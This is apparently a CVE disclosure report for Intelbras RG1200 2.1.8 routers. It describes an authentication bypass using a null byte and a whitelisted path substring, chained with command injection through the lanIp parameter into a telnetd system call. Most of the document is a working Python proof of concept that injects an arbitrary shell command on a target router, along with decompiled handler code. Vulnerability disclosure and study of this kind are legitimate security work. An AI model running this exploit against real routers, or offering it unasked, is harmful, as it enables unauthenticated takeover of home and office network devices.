CVE Report - Authentication Bypass and Command Injection Vulnerability in Intelbras RG1200 2.1.8 Routers

Vulnerability Title

Authentication Bypass and Command Injection Vulnerability in Intelbras RG1200 2.1.8 Routers

Vulnerability Description

Intelbras RG1200 firmware 2.1.8 contains an authentication bypass in the request dispatch chain (`R7WebsSecurityHandler` + `websFormHandler`) caused by inconsistent use of the raw (non-decoded) URL versus the decoded path. Remote unauthenticated attackers can bypass authentication by crafting a URL containing `%00` and a whitelisted substring (e.g., `img/main-logo.png`) in the raw URL so that the security handler matches the whitelist while the form dispatcher resolves the decoded/truncated path to a protected `/goform` handler.

After authentication bypass, the attacker can reach command execution paths. One confirmed path is `fromAdvSetLanip` (set `lan.ip`) followed by `TendaTelnet`, where `lan.ip` is passed to `doSystemCmd("telnetd -b %s &", lan_ip)` without validation, allowing command injection via the `lanIp` parameter.

POC

```
import requests
import sys

def bypass_url(base, path, suffix="%00img/main-logo.png"):
    if not path.startswith("/"):
        path = "/" + path
    return f"{base}{path}{suffix}"


def exploit(target_ip, port=80, cmd="id"):
    base = f"http://{target_ip}:{port}"
```

```
    # 1) Auth bypass + set lan.ip via /goform/AdvSetLanip
    set_lanip = bypass_url(base, "/goform/AdvSetLanip")
    malicious_ip = f"192.168.0.1; {cmd}; #"
    data = {
        "lanIp": malicious_ip,
        "lanMask": "255.255.255.0",
        "dhcpEn": "1",
        "startIp": "192.168.0.100",
        "endIp": "192.168.0.200",
        "leaseTime": "86400",
        "lanDnsAuto": "1",
    }
    r = requests.post(set_lanip, data=data, timeout=10)
    print("[+] AdvSetLanip status:", r.status_code)

    # 2) Auth bypass + trigger command execution via
/goform/telnet
    telnet = bypass_url(base, "/goform/telnet")
    r = requests.get(telnet, timeout=10)
    print("[+] telnet status:", r.status_code)
    print(r.text)


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("usage: python poc.py <target_ip> [port] [cmd]")
        sys.exit(1)
    ip = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
    cmd = sys.argv[3] if len(sys.argv) > 3 else "id"
    exploit(ip, port=port, cmd=cmd)
```

Cause Analysis

1. **authentication** : The HTTP request parsing logic stores the raw request URL into `wp->url` (not URL-decoded), while `wp->path` is derived from a decoded buffer produced by `websDecodeUrl` during `websUrlParse`. In `R7WebsSecurityHandler`, the whitelist is checked using `strstr(url, "img/main-logo.png")` on the raw `url` parameter (which is `wp->url`). By crafting a raw URL such as `/goform/AdvSetLanip%00img/main-logo.png`, the security handler matches the whitelisted substring and returns without enforcing authentication.

```
  *purlbuf = 0;
if ( !strncmp(url, "/public/", 8u)
  || !strncmp(url, "/lang/", 6u)
  || strstr(url, "img/main-logo.png")
  || strstr(url, "reasy-ui-1.0.3.js")
  || !strncmp(url, "/favicon.ico", 0xCu)
  || !wp->url
  || !strncmp(url, "/kns-query", 0xAu)
  || !strncmp(url, "/wdinfo.php", 0xBu)
  || strlen(url) == 1 && *url == 47
  || !strncmp(url, "/redirect.html", 0xEu)
  || !strncmp(url, "/goform/getRebootStatus", 0x17u) )
{
  return 0;
}
```

```
strncpy(formBuf, path, 0xFEu);
formName = strchr(&formBuf[1], '/');
if ( formName )
{
  formNamea = formName + 1;
  sp_0 = symLookup(formSymtab, formNamea);
  if ( sp_0 )
  {
    integer = (void (__fastcall *)(webs_t, char_t *, char_t *))sp_0->content.value.integer;
    if ( integer )
      integer(wp, formNamea, query);
  }
  else
```

2. **command injection:** After bypassing authentication, attackers can call `/goform/AdvSetLanip` to set `lan.ip` using the `lanIp` parameter (`fromAdvSetLanip` uses `websGetVar(wp, "lanIp", ...)` and then `SetValue("lan.ip", lan_ip)`). Later, calling `/goform/telnet` triggers `TendaTelnet`, which reads `lan.ip` via `GetValue("lan.ip", lan_ip)` and passes it directly into `doSystemCmd("telnetd -b %s &", lan_ip)` without validation, resulting in command injection.

```
  memset(lan_ip, 0, sizeof(lan_ip));
  GetValue("lan.ip", lan_ip);
  system("killall -9 telnetd");
  doSystemCmd("telnetd -b %s &", lan_ip);
  websDone(wp, 200);
}
```